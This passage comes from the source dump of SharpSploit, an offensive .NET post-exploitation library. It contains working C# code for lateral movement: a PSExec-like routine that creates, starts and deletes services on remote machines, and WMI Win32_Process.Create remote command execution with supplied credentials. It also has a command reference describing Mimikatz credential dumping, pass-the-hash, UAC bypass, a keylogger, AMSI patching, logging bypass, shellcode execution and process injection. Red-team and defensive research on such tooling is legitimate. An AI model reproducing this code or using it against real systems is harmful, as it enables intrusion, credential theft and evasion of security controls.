91 | IntPtr hService = PInvoke.Win32.Advapi32.CreateService(hManager, ServiceName, ServiceDisplayName,
92 | Win32.Advapi32.SERVICE_ACCESS.SERVICE_ALL_ACCESS,
93 | Win32.Advapi32.SERVICE_TYPE.SERVICE_WIN32_OWN_PROCESS,
94 | Win32.Advapi32.SERVICE_START.SERVICE_DEMAND_START,
95 | Win32.Advapi32.SERVICE_ERROR.SERVICE_ERROR_NORMAL,
96 | BinaryPath, null, null, null, null, null);
97 | if (hService != IntPtr.Zero)
98 | {
99 | success = true;
100 | }
101 |
102 | CloseHandle(hService);
103 | CloseHandle(hManager);
104 | return success;
105 | }
106 |
107 | ///
108 | /// Starts a service on a remote computer.
109 | ///
110 | /// The ComputerName of the remote machine.
111 | /// The DisplayName of the service to retrieve.
112 | /// Bool. True if execution succeeds, false otherwise.
113 | /// Daniel Duggan (@_RastaMouse)
114 | public static bool StartService(string ComputerName, string DisplayName)
115 | {
116 | try
117 | {
118 | using (ServiceController service = new ServiceController(DisplayName, ComputerName))
119 | {
120 | if (service.Status == ServiceControllerStatus.Running)
121 | {
122 | return true;
123 | }
124 | if (service.Status == ServiceControllerStatus.StartPending)
125 | {
126 | service.WaitForStatus(ServiceControllerStatus.Running, TimeSpan.FromSeconds(30));
127 | return true;
128 | }
129 | service.Start();
130 | service.WaitForStatus(ServiceControllerStatus.Running, TimeSpan.FromSeconds(30));
131 | return true;
132 | }
133 | }
134 | catch (System.ComponentModel.Win32Exception e)
135 | {
136 | Console.Error.WriteLine(e.Message);
137 | }
138 | return false;
139 | }
140 |
141 | ///
142 | /// Stops a service on a remote computer.
143 | ///
144 | /// The ComputerName of the remote machine.
145 | /// The DisplayName of the service to stop.
146 | /// Bool. True if execution succeeds, false otherwise.
147 | /// Daniel Duggan (@_RastaMouse)
148 | public static bool StopService(string ComputerName, string DisplayName)
149 | {
150 | try
151 | {
152 | using (ServiceController service = new ServiceController(DisplayName, ComputerName))
153 | {
154 | if (service.Status == ServiceControllerStatus.Stopped)
155 | {
156 | return true;
157 | }
158 | if (service.Status == ServiceControllerStatus.StopPending)
159 | {
160 | service.WaitForStatus(ServiceControllerStatus.Stopped, TimeSpan.FromSeconds(30));
161 | return true;
162 | }
163 | service.Stop();
164 | service.WaitForStatus(ServiceControllerStatus.Stopped, TimeSpan.FromSeconds(30));
165 | return true;
166 | }
167 | }
168 | catch (System.ComponentModel.Win32Exception e)
169 | {
170 | Console.Error.WriteLine(e.Message);
171 | }
172 | return false;
173 | }
174 |
175 | ///
176 | /// Deletes a service on a remote computer.
177 | ///
178 | /// The ComputerName of the remote machine.
179 | /// The short ServiceName of the service to delete.
180 | /// Bool. True if execution succeeds, false otherwise.
181 | /// Daniel Duggan (@_RastaMouse)
182 | public static bool DeleteService(string ComputerName, string ServiceName)
183 | {
184 | bool success = false;
185 | try
186 | {
187 | IntPtr hManager = OpenServiceManager(ComputerName);
188 | IntPtr hService = PInvoke.Win32.Advapi32.OpenService(hManager, ServiceName, Win32.Advapi32.SERVICE_ACCESS.DELETE);
189 | success = PInvoke.Win32.Advapi32.DeleteService(hService);
190 | CloseHandle(hService);
191 | CloseHandle(hManager);
192 | }
193 | catch (Exception e)
194 | {
195 | Console.Error.WriteLine(e.Message);
196 | }
197 | return success;
198 | }
199 |
200 | ///
201 | /// Execute a process on a remote computer using a PSExec-like technique.
202 | ///
203 | /// The ComputerName of the remote machine.
204 | /// The short ServiceName of the service to create.
205 | /// The DisplayName of the service to create.
206 | /// The path to the Service Executable.
207 | /// Bool. True if execution succeeds, false otherwise.
208 | /// Daniel Duggan (@_RastaMouse)
209 | public static bool PSExec(string ComputerName, string BinaryPath, string ServiceName = "SharpSploit", string DisplayName = "SharpSploit Service")
210 | {
211 | // We need a little wait after each step
212 | const int sleepTime = 1000;
213 | try
214 | {
215 | // Connect to the target service manager
216 | IntPtr hManager = OpenServiceManager(ComputerName);
217 | if (hManager == IntPtr.Zero)
218 | {
219 | return false;
220 | }
221 |
222 | // Create the service
223 | Thread.Sleep(sleepTime);
224 | if (!CreateService(ComputerName, ServiceName, DisplayName, BinaryPath))
225 | {
226 | return false;
227 | }
228 |
229 | // Start the service
230 | Thread.Sleep(sleepTime);
231 | // If the service started successfully...
232 | bool started = StartService(ComputerName, ServiceName);
233 | if (started)
234 | {
235 | // Stop the service
236 | Thread.Sleep(sleepTime);
237 | if (!StopService(ComputerName, ServiceName))
238 | {
239 | Console.Error.WriteLine("Could not stop service {0}", ServiceName);
240 | }
241 | }
242 | else
243 | {
244 | Console.Error.WriteLine("Could not start service {0}", ServiceName);
245 | // don't return, so we can still delete the service
246 | }
247 |
248 | // Now delete the service
249 | Thread.Sleep(sleepTime);
250 | if (!DeleteService(ComputerName, ServiceName))
251 | {
252 | Console.Error.WriteLine("Could not delete Service {0}", ServiceName);
253 | return false;
254 | }
255 |
256 | Thread.Sleep(sleepTime);
257 | CloseHandle(hManager);
258 |
259 | // If we got to the end and didn't start the service, we should return false
260 | return started;
261 | }
262 | catch (Exception e)
263 | {
264 | Console.Error.WriteLine("PSExec Failed: {0}", e.Message);
265 | }
266 | return false;
267 | }
268 |
269 | ///
270 | /// Closes Service Handles.
271 | ///
272 | /// The handle to close.
273 | /// Bool. True if execution succeeds, false otherwise.
274 | ///
275 | /// Daniel Duggan (@_RastaMouse)
276 | ///
277 | private static bool CloseHandle(IntPtr handle)
278 | {
279 | var success = false;
280 | try
281 | {
282 | success = PInvoke.Win32.Advapi32.CloseServiceHandle(handle);
283 | }
284 | catch (Exception e)
285 | {
286 | Console.Error.WriteLine(e.Message);
287 | }
288 | return success;
289 | }
290 |
291 | ///
292 | /// Opens the Service Control Manager on the target computer.
293 | ///
294 | /// The target computer.
295 | /// IntPtr. Returns a handle to the SCM.
296 | /// Daniel Duggan (@_RastaMouse)
297 | private static IntPtr OpenServiceManager(string ComputerName)
298 | {
299 | var handle = IntPtr.Zero;
300 | try
301 | {
302 | handle = PInvoke.Win32.Advapi32.OpenSCManager(ComputerName, null, Win32.Advapi32.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
303 | }
304 | catch (Exception e)
305 | {
306 | Console.Error.WriteLine(e.Message);
307 | }
308 | return handle;
309 | }
310 |
311 | public sealed class ServiceResult : SharpSploitResult
312 | {
313 | public string ServiceName { get; set; } = "";
314 | public string DisplayName { get; set; } = "";
315 | public ServiceControllerStatus Status { get; set; } = new ServiceControllerStatus();
316 | public bool CanStop { get; set; } = false;
317 | protected internal override IList ResultProperties
318 | {
319 | get
320 | {
321 | return new List {
322 | new SharpSploitResultProperty { Name = "ServiceName", Value = this.ServiceName },
323 | new SharpSploitResultProperty { Name = "DisplayName", Value = this.DisplayName },
324 | new SharpSploitResultProperty { Name = "Status", Value = this.Status },
325 | new SharpSploitResultProperty { Name = "CanStop", Value = this.CanStop }
326 | };
327 | }
328 | }
329 | }
330 | }
331 | }
--------------------------------------------------------------------------------
/SharpSploit/LateralMovement/WMI.cs:
--------------------------------------------------------------------------------
1 | // Author: Ryan Cobb (@cobbr_io)
2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit)
3 | // License: BSD 3-Clause
4 |
5 | using System;
6 | using System.Linq;
7 | using System.Management;
8 | using System.Collections.Generic;
9 |
10 | using SharpSploit.Generic;
11 |
12 | namespace SharpSploit.LateralMovement
13 | {
14 | ///
15 | /// WMI is a class for executing WMI lateral movement techniques.
16 | ///
17 | public class WMI
18 | {
19 | ///
20 | /// Execute a process on a remote system using the WMI Win32_Process.Create method.
21 | ///
22 | /// ComputerName of remote system to execute process.
23 | /// Command to execute on remote system.
24 | /// Username to authenticate as to the remote system.
25 | /// Password to authenticate the user.
26 | /// WmiExecuteResult, null on failure.
27 | public static WmiExecuteResult WMIExecute(string ComputerName, string Command, string Username = "", string Password = "")
28 | {
29 | ConnectionOptions options = new ConnectionOptions();
30 | if ((Username != null && Username != "") && Password != null)
31 | {
32 | options.Username = Username;
33 | options.Password = Password;
34 | }
35 |
36 | ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", ComputerName), options);
37 |
38 | try
39 | {
40 | scope.Connect();
41 | var wmiProcess = new ManagementClass(scope, new ManagementPath("Win32_Process"), new ObjectGetOptions());
42 |
43 | ManagementBaseObject inParams = wmiProcess.GetMethodParameters("Create");
44 | PropertyDataCollection properties = inParams.Properties;
45 | inParams["CommandLine"] = Command;
46 |
47 | ManagementBaseObject outParams = wmiProcess.InvokeMethod("Create", inParams, null);
48 |
49 | return new WmiExecuteResult
50 | {
51 | ReturnValue = outParams["returnValue"].ToString(),
52 | ProcessID = outParams["processId"].ToString()
53 | };
54 | }
55 | catch (Exception e)
56 | {
57 | Console.Error.WriteLine("WMI Exception:" + e.Message);
58 | return null;
59 | }
60 | }
61 |
62 | ///
63 | /// Execute a process on a remote system using the WMI Win32_Process.Create method.
64 | ///
65 | /// ComputerNames of remote systems to execute process.
66 | /// Command to execute on remote system.
67 | /// Username to authenticate as to the remote system.
68 | /// Password to authenticate the user.
69 | /// Bool. True if execution succeeds, false otherwise.
70 | public static SharpSploitResultList WMIExecute(List ComputerNames, string Command, string Username, string Password)
71 | {
72 | SharpSploitResultList results = new SharpSploitResultList();
73 | results.AddRange(ComputerNames.Select(CN => WMIExecute(CN, Command, Username, Password)));
74 | return results;
75 | }
76 |
77 | public sealed class WmiExecuteResult : SharpSploitResult
78 | {
79 | public string ReturnValue { get; set; } = "";
80 | public string ProcessID { get; set; } = "";
81 | protected internal override IList ResultProperties
82 | {
83 | get
84 | {
85 | return new List {
86 | new SharpSploitResultProperty { Name = "ReturnValue", Value = this.ReturnValue },
87 | new SharpSploitResultProperty { Name = "ProcessID", Value = this.ProcessID }
88 | };
89 | }
90 | }
91 | }
92 | }
93 | }
--------------------------------------------------------------------------------
/SharpSploit/Misc/CountdownEvent.cs:
--------------------------------------------------------------------------------
1 | // Author: Ryan Cobb (@cobbr_io)
2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit)
3 | // License: BSD 3-Clause
4 |
5 | using System;
6 | using System.Threading;
7 |
8 | namespace SharpSploit.Misc
9 | {
10 | ///
11 | /// CountdownEvent is used for counting Asynchronous operations
12 | ///
13 | ///
14 | /// Adapted from https://stackoverflow.com/questions/6790499
15 | ///
16 | public sealed class CountdownEvent : IDisposable
17 | {
18 | private readonly ManualResetEvent _countEvent = new ManualResetEvent(false);
19 | private readonly ManualResetEvent _reachedCountEvent = new ManualResetEvent(false);
20 | private volatile int _maxCount;
21 | private volatile int _currentCount = 0;
22 | private volatile bool _isDisposed = false;
23 |
24 | public CountdownEvent(int count)
25 | {
26 | this._maxCount = count;
27 | }
28 |
29 | public bool Signal()
30 | {
31 | if (this._isDisposed)
32 | {
33 | return false;
34 | }
35 | if (this._currentCount >= this._maxCount)
36 | {
37 | return true;
38 | }
39 | if (Interlocked.Increment(ref _currentCount) >= this._maxCount)
40 | {
41 | _reachedCountEvent.Set();
42 | return true;
43 | }
44 | _countEvent.Set();
45 | return false;
46 | }
47 |
48 | public bool Wait(int timeout = Timeout.Infinite)
49 | {
50 | if (this._isDisposed)
51 | {
52 | return false;
53 | }
54 | return _reachedCountEvent.WaitOne(timeout);
55 | }
56 |
57 | public bool WaitOne(int timeout = Timeout.Infinite)
58 | {
59 | if (this._isDisposed)
60 | {
61 | return false;
62 | }
63 | return _countEvent.WaitOne(timeout);
64 | }
65 |
66 | public void Dispose()
67 | {
68 | this.Dispose(true);
69 | GC.SuppressFinalize(this);
70 | }
71 |
72 | public void Dispose(bool disposing)
73 | {
74 | if (!this._isDisposed)
75 | {
76 | if (disposing)
77 | {
78 | ((IDisposable)_reachedCountEvent).Dispose();
79 | ((IDisposable)_countEvent).Dispose();
80 | }
81 | this._isDisposed = true;
82 | }
83 | }
84 | }
85 | }
86 |
--------------------------------------------------------------------------------
/SharpSploit/Misc/Utilities.cs:
--------------------------------------------------------------------------------
1 | // Author: Ryan Cobb (@cobbr_io)
2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit)
3 | // License: BSD 3-Clause
4 |
5 | using System;
6 | using System.IO;
7 | using System.IO.Compression;
8 | using System.Linq;
9 | using System.Reflection;
10 | using System.Security.Cryptography.X509Certificates;
11 |
12 | namespace SharpSploit.Misc
13 | {
14 | public static class Utilities
15 | {
16 | ///
17 | /// Checks that a file is signed and has a valid signature.
18 | ///
19 | /// Path of file to check.
20 | ///
21 | public static bool FileHasValidSignature(string FilePath)
22 | {
23 | X509Certificate2 FileCertificate;
24 | try
25 | {
26 | X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath);
27 | FileCertificate = new X509Certificate2(signer);
28 | }
29 | catch
30 | {
31 | return false;
32 | }
33 |
34 | X509Chain CertificateChain = new X509Chain();
35 | CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;
36 | CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline;
37 | CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;
38 |
39 | return CertificateChain.Build(FileCertificate);
40 | }
41 |
42 | private static string[] manifestResources = Assembly.GetExecutingAssembly().GetManifestResourceNames();
43 |
44 | public static byte[] GetEmbeddedResourceBytes(string resourceName)
45 | {
46 | string resourceFullName = manifestResources.FirstOrDefault(N => N.Contains(resourceName + ".comp"));
47 | if (resourceFullName != null)
48 | {
49 | return Decompress(Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceFullName).ReadFully());
50 | }
51 | else if ((resourceFullName = manifestResources.FirstOrDefault(N => N.Contains(resourceName))) != null)
52 | {
53 | return Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceFullName).ReadFully();
54 | }
55 | return null;
56 | }
57 |
58 | public static byte[] ReadFully(this Stream input)
59 | {
60 | byte[] buffer = new byte[16 * 1024];
61 | using (MemoryStream ms = new MemoryStream())
62 | {
63 | int read;
64 | while((read = input.Read(buffer, 0, buffer.Length)) > 0)
65 | {
66 | ms.Write(buffer, 0, read);
67 | }
68 | return ms.ToArray();
69 | }
70 | }
71 |
72 | public static byte[] Compress(byte[] Bytes)
73 | {
74 | byte[] compressedBytes;
75 | using (MemoryStream memoryStream = new MemoryStream())
76 | {
77 | using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress))
78 | {
79 | deflateStream.Write(Bytes, 0, Bytes.Length);
80 | }
81 | compressedBytes = memoryStream.ToArray();
82 | }
83 | return compressedBytes;
84 | }
85 |
86 | public static byte[] Decompress(byte[] compressed)
87 | {
88 | using (MemoryStream inputStream = new MemoryStream(compressed.Length))
89 | {
90 | inputStream.Write(compressed, 0, compressed.Length);
91 | inputStream.Seek(0, SeekOrigin.Begin);
92 | using (MemoryStream outputStream = new MemoryStream())
93 | {
94 | using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress))
95 | {
96 | byte[] buffer = new byte[4096];
97 | int bytesRead;
98 | while ((bytesRead = deflateStream.Read(buffer, 0, buffer.Length)) != 0)
99 | {
100 | outputStream.Write(buffer, 0, bytesRead);
101 | }
102 | }
103 | return outputStream.ToArray();
104 | }
105 | }
106 | }
107 |
108 | public static bool Is64Bit
109 | {
110 | get { return IntPtr.Size == 8; }
111 | }
112 | }
113 | }
--------------------------------------------------------------------------------
/SharpSploit/SharpSploit - Quick Command Reference.md:
--------------------------------------------------------------------------------
1 | # SharpSploit - Quick Command Reference
2 |
3 | ## SharpSploit.Credentials
4 |
5 | ### SharpSploit.Credentials.Mimikatz
6 |
7 | * `Command()` - Loads the Mimikatz PE with `PE.Load()` and executes a chosen Mimikatz command.
8 | * `LogonPasswords()` - Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve plaintext passwords from LSASS. Equates to `Command("privilege::debug sekurlsa::logonPasswords")`. (Requires Admin)
9 | * `SamDump()` - Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve password hashes from the SAM database. Equates to `Command("privilege::debug lsadump::sam")`. (Requires Admin)
10 | * `LsaSecrets()` - Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve LSA secrets stored in registry. Equates to `Command("privilege::debug lsadump::secrets")`. (Requires Admin)
11 | * `LsaCache()` - Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve Domain Cached Credentials hashes from registry. Equates to `Command("privilege::debug lsadump::cache")`. (Requires Admin)
12 | * `Wdigest()` - Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve Wdigest credentials from registry. Equates to `Command("sekurlsa::wdigest")`.
13 | * `All()` - Loads the Mimikatz PE with `PE.Load()` and executes each of the above builtin, local credential dumping commands. (Requires Admin)
14 | * `DCSync()` - Loads the Mimikatz PE with `PE.Load()` and executes the "dcsync" module to retrieve the NTLM hash of a specified (or all) Domain user. (Requires Domain Admin (or equivalent rights))
15 | * `PassTheHash()` - Loads the Mimikatz PE with `PE.Load()` and executes the "pth" module to start a new process as a user using an NTLM password hash for authentication. (Requires Admin)
16 |
17 | ### SharpSploit.Credentials.Tokens
18 |
19 | * `WhoAmI()` - Gets the username of the currently used/impersonated token.
20 | * `ImpersonateUser()` - Impersonate the token of a process owned by the specified user. Used to execute subsequent commands as the specified user. (Requires Admin)
21 | * `ImpersonateProcess()` - Impersonate the token of the specified process. Used to execute subsequent commands as the user associated with the token of the specified process. (Requires Admin)
22 | * `GetSystem()` - Impersonate the SYSTEM user. Equates to `ImpersonateUser("NT AUTHORITY\SYSTEM")`. (Requires Admin)
23 | * `BypassUAC()` - Bypasses UAC through token duplication and spawns a specified process with high integrity. (Requires Admin)
24 | * `RunAs()` - Makes a new token to run a specified function as a specified user with a specified password. Automatically calls `RevertToSelf()` after executing the function.
25 | * `MakeToken()` - Makes a new token with a specified username and password, and impersonates it to conduct future actions as the specified user.
26 | * `RevertToSelf()` - Ends the impersonation of any token, reverting back to the initial token associated with the current process. Useful in conjuction with functions that impersonate a token and do not automatically RevertToSelf, such as: `ImpersonateUser()`, `ImpersonateProcess()`, `GetSystem()`, and `MakeToken()`.
27 | * `EnableTokenPrivilege()` - Enables a specified security privilege for a specified token. (Requires Admin)
28 |
29 | ## SharpSploit.Enumeration
30 |
31 | ### SharpSploit.Enumeration.Host
32 |
33 | * `GetProcessList()` - Gets a list of running processes on the system.
34 | * `GetArchitecture()` - Gets the architecuture of the OS.
35 | * `GetParentProcess()` - Gets the parent process if of a process.
36 | * `GetProcessOwner()` - Gets the username of the owner of a process.
37 | * `IsWow64()` - Checks if a process is a Wow64 process.
38 | * `CreateProcessDump()` - Creates a minidump of the memory of a running process. Useful for offline Mimikatz if dumping the LSASS process. (Requires Admin)
39 | * `GetHostname()` - Gets the hostname of the system.
40 | * `GetUsername()` - Gets the current Domain and username of the process running.
41 | * `GetCurrentDirectory()` - Gets the current working directory full path.
42 | * `GetDacl()` - Gets the Discretionary Access Control List (DACL) of a file or directory.
43 | * `GetDirectoryListing()` - Gets a directory listing of the current working directory.
44 | * `ChangeCurrentDirectory()` - Changes the current directory by appending a specified string to the current working directory.
45 |
46 | ### SharpSploit.Enumeration.Network
47 |
48 | * `PortScan()` - Conducts a port scan of specified computer(s) and port(s) and reports open ports.
49 | * `Ping()` - Pings specified computer(s) to identify live systems.
50 |
51 | ### SharpSploit.Enumeration.Domain
52 |
53 | ### SharpSploit.Enumeration.Domain.DomainSearcher
54 |
55 | * `GetDomainUsers()` - Gets a list of specified (or all) user `DomainObject`s in the current Domain.
56 | * `GetDomainGroups()` - Gets a list of specified (or all) group `DomainObject`s in the current Domain.
57 | * `GetDomainComputers()` - Gets a list of specified (or all) computer `DomainObject`s in the current Domain.
58 | * `GetDomainSPNTickets()` - Gets `SPNTicket`s for specified `DomainObject`s.
59 | * `Kerberoast()` - Gets a list of `SPNTicket`s for specified (or all) users with a SPN set in the current Domain.
60 |
61 | ### SharpSploit.Enumeration.Net
62 |
63 | * `GetNetLocalGroups()` - Gets a list of `LocalGroup`s from specified remote computer(s).
64 | * `GetNetLocalGroupMembers()` - Gets a list of `LocalGroupMember`s from specified remote computer(s) for a specified group.
65 | * `GetNetLoggedOnUsers()` - Gets a list of `LoggedOnUser`s from specified remote computer(s).
66 | * `GetNetSessions()` - Gets a list of `SessionInfo`s from specified remote computer(s).
67 | * `GetNetShares()` - Gets a list of `ShareInfo`s from specified remote computer(s).
68 |
69 | ### SharpSploit.Enumeration.Keylogger
70 |
71 | * `StartKeylogger()` - Starts a keylogger that gets keystrokes for a specified amount of time.
72 |
73 | ## SharpSploit.Evastion
74 |
75 | ### SharpSploit.Evasion.Amsi
76 |
77 | * `PatchAmsiScanBuffer()` - Patch the AmsiScanBuffer function in amsi.dll to disable the AMSI for the current process.
78 |
79 | ## SharpSploit.Execution
80 |
81 | ### SharpSploit.Execution.Assembly
82 |
83 | * `Load()` - Loads a .NET assembly byte array or base64-encoded byte array.
84 | * `AssemblyExecute()` - Loads a .NET assembly byte array or base64-encoded byte array and executes a specified method within a specified type with specified parameters using reflection.
85 |
86 | ### SharpSploit.Execution.PE
87 |
88 | * `Load()` - Loads a PE with a specified byte array. (Requires Admin) **(*Currently broken. Works for Mimikatz, but not arbitrary PEs*)
89 | * `GetFunctionExport()` - Get a pointer to an exported function in a loaded PE. The pointer can then be used to execute the function in the PE.
90 |
91 | ### SharpSploit.Execution.Shell
92 |
93 | * `PowerShellExecute()` - Executes specified PowerShell code using System.Management.Automation.dll and bypasses AMSI, ScriptBlock Logging, and Module Logging (but not Transcription Logging).
94 | * `CreateProcess()` - Creates a specified process, optionally with an alternative username and password. Uses the CreateProcess API and returns the output of the process.
95 | * `CreateCmdProcess()` - Creates a specified cmd.exe process, optionally with an alternative username and password. Uses the CreateProcess API and returns the output of the process.
96 | * `ShellExecute()` - Executes a specified shell command, optionally with an alternative username and password. Uses the ShellExecuteEx API and does not return the output of the command.
97 | * `ShellCmdExecute()` - Executes a specified cmd.exe shell command, optionally with an alternative username and password. Uses the ShellExecuteEx API and does not return the output of the command.
98 | * `Execute()` - Executes a specified command, optionally with an alternative username and password. May return the output of the command, depending upon the value of the UseShellExecute parameter.
99 | * `CreateProcessWithToken()` - Creates a specified process with an impersonated token. Uses the CreateProcessWithToken API and returns the output of the process. (Requires Admin)
100 |
101 | ### SharpSploit.Execution.ShellCode
102 |
103 | The `SharpSploit.Execution.ShellCode` class includes a method for executing shellcode. Shellcode execution is accomplished by copying it to pinned memory, modifying the memory permissions with `Win32.Kernel32.VirtualProtect()`, and executing with a .NET `delegate`.
104 |
105 | The `SharpSploit.Execution.ShellCode` class includes the following primary function:
106 |
107 | * `ShellCodeExecute()` - Executes a specified shellcode byte array by copying it to pinned memory, modifying the memory permissions with `Win32.Kernel32.VirtualProtect()`, and executing with a .NET `delegate`.
108 |
109 | ### SharpSploit.Execution.Win32
110 |
111 | Win32 contains a library of enums and structures for Win32 API functions that can be used with PlatformInvoke or DynamicInvoke function execution.
112 |
113 | ### SharpSploit.Execution.Native
114 |
115 | Native contains a library of enums and structures for Native NT API functions that can be used PlatformInvoke or DynamicInvoke function execution.
116 |
117 | ## SharpSploit.Execution.PlatformInvoke
118 |
119 | The `SharpSploit.Execution.PlatformInvoke` namespace contains classes for invoking unmanaged exported DLL functions from the Win32 API or the Native NT API.
120 |
121 | ### SharpSploit.Execution.PlatformInvoke.Win32
122 |
123 | The `SharpSploit.Execution.PlatformInvoke.Win32` class contains a library of PlatformInvoke signatures for Win32 API functions.
124 |
125 | ### SharpSploit.Execution.PlatformInvoke.Native
126 |
127 | The `SharpSploit.Execution.PlatformInvoke.Native` class contains a library of PlatformInvoke signatures for NT API functions.
128 |
129 | ## SharpSploit.Execution.DynamicInvoke
130 |
131 | The `SharpSploit.Execution.DynamicInvoke` namespace contains classes for dynamically invoking unmanaged DLL functions. Allows the user to call functions in Win32, the NT API, or third-party APIs without using P/Invoke. This avoids suspicious imports and can help evade static analysis tools. It also assists in invoking unmanaged code from function pointers, which can be used to invoke shellcode, exported functions from manually mapped DLLs, direct syscall execution, or many other use cases. Helper functions are also included for manually mapping PE modules in a variety of ways, including Module Overloading.
132 |
133 | Function prototypes for delegates are much less forgiving than P/Invoke. Data types used as parameters must have exactly the same format in memory as the unmanaged function expects, whereas P/Invoke is forgiving and lets you use data types that are close but not the same. There is no existing library of delegates that is verified to be compatable with the Win32 and NT APIs. As such, the library of delegates in SharpSploit will be updated over time as they are discovered, tested, and used by SharpSploit commands.
134 |
135 | ### SharpSploit.Execution.DynamicInvoke.Win32
136 |
137 | The `SharpSploit.Execution.DyanmicInvoke.Win32` class contains a library of DyanmicInvoke signatures for Win32 API functions.
138 |
139 | ### SharpSploit.Execution.DynamicInvoke.Native
140 |
141 | The `SharpSploit.Execution.DyanmicInvoke.Native` class contains a library of DyanmicInvoke signatures for NT API functions.
142 |
143 | ### SharpSploit.Execution.DynamicInvoke.Generic
144 |
145 | The `SharpSploit.Execution.DynamicInvoke.Generic` class contains helper functions for invoking arbitrary unmanaged functions by name or from pointers.
146 |
147 | * `DynamicAPIInvoke()` - Dynamically invokes a specified API call from a DLL on disk.
148 | * `DynamicFunctionInvoke()` - Dynamically invokes a function at a specified pointer.
149 | * `LoadModuleFromDisk()` - Resolves `LdrLoadDll` and uses that function to load a DLL from disk.
150 | * `GetLibraryAddress()` - Helper function that obtains the pointer to a function using in-memory export parsing.
151 | * `GetLoadedModuleAddress()` - Gets the base address of a module loaded by the current process.
152 | * `GetPebLdrModuleEntry()` - Helper for getting the base address of a module loaded by the current process. This base address could be passed to `GetProcAddress`/`GetNativeExportAddress`/`LdrGetProcedureAddress` or it could be used for manual export parsing.
153 | * `GetAPIHash()` - Gets a HMAC-MD5 hash for unique hash based API lookups.
154 | * `GetExportAddress()` - Gets the address of an exported function given the base address of a module.
155 | * `GetNativeExportAddress()` - Given a module base address, resolve the address of a function by calling `LdrGetProcedureAddress`.
156 | * `GetPeMetaData()` - Retrieve PE header information from the module base pointer.
157 | * `GetApiSetMapping()` - Resolve host DLL for API Set DLL (Win10+).
158 | * `CallMappedPEModule()` - Call a manually mapped PE by its EntryPoint.
159 | * `CallMappedDLLModule()` - Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH.
160 | * `CallMappedDLLModuleExport()` - Call a manually mapped DLL by Export.
161 | * `GetSyscallStub()` - Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll.
162 |
163 | ## SharpSploit.Execution.ManaulMap
164 |
165 | The `SharpSploit.Execution.ManualMap.Map` class contains helper functions for manually mapping PE modules.
166 |
167 | * `MapModuleFromDisk()` - Maps a module from disk into a Section using `NtCreateSection`.
168 | * `AllocateFileToMemory()` - Allocate file to memory, either from disk or from a byte array.
169 | * `RelocateModule()` - Relocates a module in memory.
170 | * `MapModuleToMemory()` - Manually map module into current process.
171 | * `SetModuleSectionPermissions()` - Set correct module section permissions.
172 | * `RewriteModuleIAT()` - Rewrite IAT for manually mapped module.
173 |
174 | The `SharpSploit.Execution.ManualMap.Overload` class contains helper functions for Module Overloading.
175 |
176 | * `FindDecoyModule()` - Locate a signed module with a minimum size which can be used for overloading.
177 | * `OverloadModule()` - Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
178 |
179 | ## SharpSploit.Execution.Injection
180 |
181 | The `SharpSploit.Execution.Injection` namespace contains classes for modular process injection components that can be combined to build custom injectors. An `AllocationTechnique` makes a `PayloadType` available to the target process. An `ExecutionTechnique` executes a `PayloadType` that is present in memory within a target process.
182 |
183 | ### SharpSploit.Execution.Injection.AllocationTechnique
184 |
185 | The `SharpSploit.Execution.Injection.AllocationTechnique` class is an abstract parent class providing the requirements for all allocation components.
186 |
187 | ### SharpSploit.Execution.Injection.SectionMapAlloc
188 |
189 | The `SharpSploit.Execution.Injection.SectionMapAlloc` class inherits from `AllocationTechnique` and is an Allocation component that allocates a payload to a target process using a locally-written, remotely-mapped shared memory section.
190 |
191 | ### SharpSploit.Execution.Injection.ExecutionTechnique
192 |
193 | The `SharpSploit.Execution.Injection.ExecutionTechnique` class is an abstract parent class providing the requirements for all execution components.
194 |
195 | ### SharpSploit.Execution.Injection.RemoteThreadCreate
196 |
197 | The `SharpSploit.Execution.Injection.RemoteThreadCreate` class inherits from `ExecutionTechnique` and is an Execution component that executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation.
198 |
199 | ### SharpSploit.Execution.Injection.PayloadType
200 |
201 | The `SharpSploit.Execution.Injection.PayloadType` class is an abstract parent class providing the requirements for all types of payloads. Allocation and Execution components may behave differently for each subclass of `PayloadType`.
202 |
203 | ### SharpSploit.Execution.Injection.Injector
204 |
205 | The `SharpSploit.Execution.Injection.Injector` class provides static functions for performing injection using a combination of Allocation and Execution components, along with a Payload.
206 |
207 | ## SharpSploit.LateralMovement
208 |
209 | ### SharpSploit.LateralMovement.WMI
210 |
211 | * `WMIExecute()` - Execute a process on a remote system with Win32_Process Create4 with specified credentials.
212 |
213 | ### SharpSploit.LateralMovement.DCOM
214 |
215 | * `DCOMExecute()` - Execute a command on a remote system using various DCOM methods.
216 |
217 | ### SharpSploit.LateralMovement.SCM
218 |
219 | * `GetService()` - Gets a service on a remote machine.
220 | * `GetServices()` - Gets a list of all services on a remote machine.
221 | * `CreateService()` - Creates a service on a remote machine.
222 | * `StartService()` - Starts a service on a remote machine.
223 | * `StopService()` - Stops a service on a remote machine.
224 | * `DeleteService()` - Deletes a service on a remote machine.
225 | * `PSExec()` - Executes a command on a remote computer using a PSExec-like technique.
226 |
227 | ### SharpSploit.LateralMovement.PowerShellRemoting
228 |
229 | * `InvokeCommand()` - Invoke a PowerShell command on a remote machine.
230 |
--------------------------------------------------------------------------------
